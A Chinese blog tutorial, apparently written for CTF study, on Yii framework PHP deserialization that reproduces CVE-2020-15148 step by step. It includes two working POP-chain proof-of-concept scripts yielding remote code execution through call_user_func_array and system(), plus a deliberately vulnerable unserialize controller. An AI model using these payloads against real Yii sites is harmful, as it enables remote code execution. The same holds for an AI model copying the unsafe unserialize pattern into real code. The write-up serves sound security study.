Yii 反序列化 从0开始(一)
Yii 反序列化 从0开始(一)
之前做反序列化的时候遇到了yii框架。简单看了看,以为自己懂了(我懂个🔨)。后面祥云杯遇到了,题目把利用链都给出来了。我只知道POP过程,但是我语法一点都不懂啊。还是没构造出来。因此决定写个博,系统的学习一下yii框架的反序列化。
什么是yii框架
Yii是一个基于组件、用于开发大型Web应用的高性能PHP框架。Yii提供了今日Web2.0应用开发所需要的几乎一切功能。
Yii 是一个通用的 Web 编程框架,可以用于开发几乎所有的 Web 应用。由于它是轻量级的且具备了成熟的缓存解决方案,它特别适用于开发高流量的应用,例如门户,论坛,内容管理系统(CMS),电子商务系统等等。
不知道我的理解对不对。我觉着吧。这就是个模板的东西。给你了模板,你需要什么往上套就行了。反正这个对我们的反序列化不重要。
我们只讲对我们序列化有用的东西。
yii控制器,路由,操作
#控制器:是继承yii\base\Controller类的对象。负责处理请求和生成响应--->暂时可以将它理解为一个类。
#操作:控制器由操作构成,它是执行终端用户请求的最基础单元--->可以将它理解为方法
#路由:终端用户通过所谓的路由寻找到动作。--->理解为找到操作的地址
namespace app\controllers;
use yii\web\Controller;
class SiteController extends Controller //控制器Site
{
// ...现存的代码...
public function actionSay($message = 'Hello') //操作Say
{
return $this->render('say', ['message' => $message]);
}
}
根据这个例子,我们可以看出。YII中控制器和操作的构成
#控制器:控制器IDController
#操作:action操作id。yii中使用action来区分普通方法和操作
#注意他们的首字母都要大写
#路由:单独讲一下
路由使用如下格式:
ControllerID/ActionID
如果属于模块下的控制器,使用如下格式:
ModuleID/ControllerID/ActionID
那么如何在浏览器中使用这些呢?
#假如在Index.php下
http://xxxx/index.php?r=site/say&message=Hello World!
视图就跳过了,对我们的反序列化貌似没用。
经过视图后,浏览器显示出hello,world。
命名空间和Use的使用
我们可以看见在每一个控制器前都有一个命名空间,有些还会有use。那么这又是什么东西呢
#命名空间:php中不允许一个目录下出现两个同名的类,但是假如我们在首页有一个评论区。那么有一个类Comment
#在其它页面也有一个Comment类。那么在同一目录下,就会产生冲突。
#那为什么以往我写代码没有这个问题呢?因为我写的项目太小,而且都采用了一个类一个新文件的方法。因此用不到这个。
#那么现在就把命名空间理解成一个目录。
#这里还需要理解一下虽然我们写的代码在一个file中,但是因为命名空间的存在,他们是分割开的.不能直接调用其它命名空间类
#use:如果我们需要调用其它命名空间下的类,这个时候我们就可以使用use来调用其它类。其作用类似于php include方法。
到此。我们反序列化需要的yii知识点已经全部讲解完了。
反序列化中的魔术方法
所谓的魔术方法,指的是那些当满足触发条件时,自动被调用的方法。这类方法通常可以作为我们反序列化的跳板或入口。
__construct():当一个类被创建时调用,也就是调用New class时调用。反序列化时不会被调用
__destruct():析构函数,被销毁前调用,即类中最后被自动调用的函数。那么这里有个问题,我创建了类为什么会被销毁呢?在官方文档中
我们可以看见,php中有一种垃圾回收机制。当对象不能被访问时就会被自动回收。而析构函数就是被回收前调用的。
__sleep():执行serialize()序列化函数时会先调用这个函数。
__wakeup():当执行unserialize()时会先调用这个函数。
__toString():当一个对象被当作字符串时,自动调用。在题目中一般当进行正则匹配时,return时等一系列字符串操作时,会当作字符串。
__invoke():当把一个类当作函数时自动调用。
__call():在对象中调用一个不可访问的方法时调用,并且该不可访问的方法将作为__call的第一个参数。
__get():当访问不可调用的属性时会被调用。
通常我们以__destruct,__wakeup做为反序列化的起点。
反序列化常见的起点,终点
其实这个没有固定的。我只能列出常见的。肯定要具体问题具体分析的
起点:__wakeup(),__destruct()
终点:call_user_function(),file_get_contents(),找危险函数就行。
CVE-2020-15148
适用范围:Yii版本<2.0.38
下载安装yii 2.0.38(方法自行百度)
本文是根据CVE一步步复现的,我自己肯定挖不出来这玩意儿。
咱们先全局搜索一下__destruct
根据CVE说,在BatchQueryResult::__destruct()作为我们的起点函数。
可以看到这个地方调用了rese()函数,跟进这个reset(),又调用了close()。
这里重点是我们的_dataReader是可控的,那么我们可以通过编辑_dataReader()使得close()调用失败,从而调用__call()方法。
那么我们找一个合适的__call()方法。
在Generator.php中找到了一个__call方法。会调用本类的format。跟进format
拿到以下内容。这里看到了我们的call_user_func_array。这个跟我们的call_user_func的区别是,第二个参数为数组,作为回调函数的参数。
进一步分析一下,因为我们的__call里面传递的参数是'close'.也就是我们的format('close');
那么最终传递到getFormatter中的也是'close'
因此最后return的语句如下
return $this->formatters['close'];
↓↓↓
call_user_func_array($this->formatters['close'])
因为我们的第二个参数从__call开始就是为空的,那么这里很明显我们只能调用一个无参的函数。
继续全局搜索.
这里可以用师傅们的正则 function \w+() ?\n?{(.*\n)+call_user_func
就可以直接找到可以利用的函数了。最后在IndexAction中找到了run()方法
可以看到,这个$this->checkAccess,$this->id 都是我们可控的。那么成功达到了RCE。
BatchQueryResult::__destruct-->BatchQueryResult::reset()↓↓Generator::__call('close')--->Generator::format('close')--->Generator::getFormatter-->call_user_func_array('Run')↓↓IndexAction::run($checkAccess,$id)--->RCE
POC1(BatchQueryResult入口):
<?phpnamespace yii\rest{ #创建一个命名空间跟文件中的相同 class IndexAction{ #都跟原文件一样,但是要把extend去掉。因为那些类我们这里没有。也不需要 public $checkAccess; #两个属性 public $id; function __construct() #两个属性初始化 { $this->checkAccess = 'system'; $this->id = 'dir'; } }}namespace Faker{ #创建命名空间 use yii\rest\IndexAction; #将上面的内容包含导入进来 class Generator{ #创建要利用的类 protected $formatters = array(); #要利用的属性 function __construct(){ #初始化 $this->formatters['close'] = [new IndexAction(),'run']; #这里这么写是因为call_user_func_array的原因 } }}namespace yii\db{ #创建命名空间 use Faker\Generator; #将上面的内容导入,因为上面导入了第一个,因此相当于导入了第一个。 class BatchQueryResult #要利用的类 { private $_dataReader; function __construct() #利用类初始化 { $this->_dataReader = new Generator(); } }}namespace { #创建命名空间这里生成我们的payload use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult()));}
此时我们的页面上没人反序列化的入口。我们自行创建一个。
在controllers目录下创建SerializeController.php
<?phpnamespace app\controllers;class SerializeController{ public function actionSerialize($data){ return unserialize(base64_decode($data)); }}
这时候就可以利用我们的链进行RCE了。在URL中输入?r=serialize/serialize&data={反序列化后生成的内容}
POC2(RunProcess入口)
其实来讲,思路是差不多的。这几个POC都是后面利用到了这个run()这里。只是入口不同罢了。
因为2.0.38版本在BatchQueryResult中添加了__wakeup()。导致这里的入口点触发不了了。但是__call之后的是完好的。那么我们换一个地方进入就行了。
这里的入口点改成了RunProcess这里触发。
可以看见这里$process可控。那么这里的isRuning()和stop()都能触发我们的__call.修改一下链子继续用
<?phpnamespace yii\rest { class IndexAction { public $checkAccess; public $id; function __construct() { $this->checkAccess = 'system'; $this->id = 'dir'; } }}namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters = array(); function __construct() { $this->formatters['isRunning'] = [new IndexAction(), 'run']; } }}namespace Codeception\Extension { use Faker\Generator; class RunProcess { private $processes = []; function __construct() { $this->processes[] = new Generator(); #这里processes后面必须加[] } }}namespace { use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess()));}
其它几条链子都大同小异,最终点都还是在这个IndexAction的run()这里。就不多说了。